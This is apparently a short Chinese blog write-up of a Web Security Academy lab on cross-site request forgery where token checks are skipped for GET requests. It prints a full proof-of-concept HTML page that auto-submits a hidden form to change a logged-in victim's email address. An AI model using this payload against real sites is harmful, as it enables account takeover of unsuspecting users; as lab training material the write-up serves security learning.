Lab: CSRF where token validation depends on request method:CSRF,其中令牌验证取决于请求方法

CSRF,其中令牌验证取决于请求方法

漏洞

某些应用程序在请求使用 POST 方法时正确验证令牌,但在使用 GET 方法时跳过验证。

在这种情况下,攻击者可以切换到 GET 方法绕过验证并进行 CSRF 攻击:
image

沿用上次文章的代码,更改URL即可、

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>

    <form action="https://acea1f671f994b75805b7b1a003d009b.web-security-academy.net/my-account/change-email" method="GET">
      <input type="hidden" name="email" value="aaa&#64;dontwannacry&#46;com" />
    </form>
<script>
      document.forms[0].submit();
</script>
  </body>
</html>

image

posted @ 2021-08-26 10:42  Zeker62  阅读(93)  评论(0编辑  收藏  举报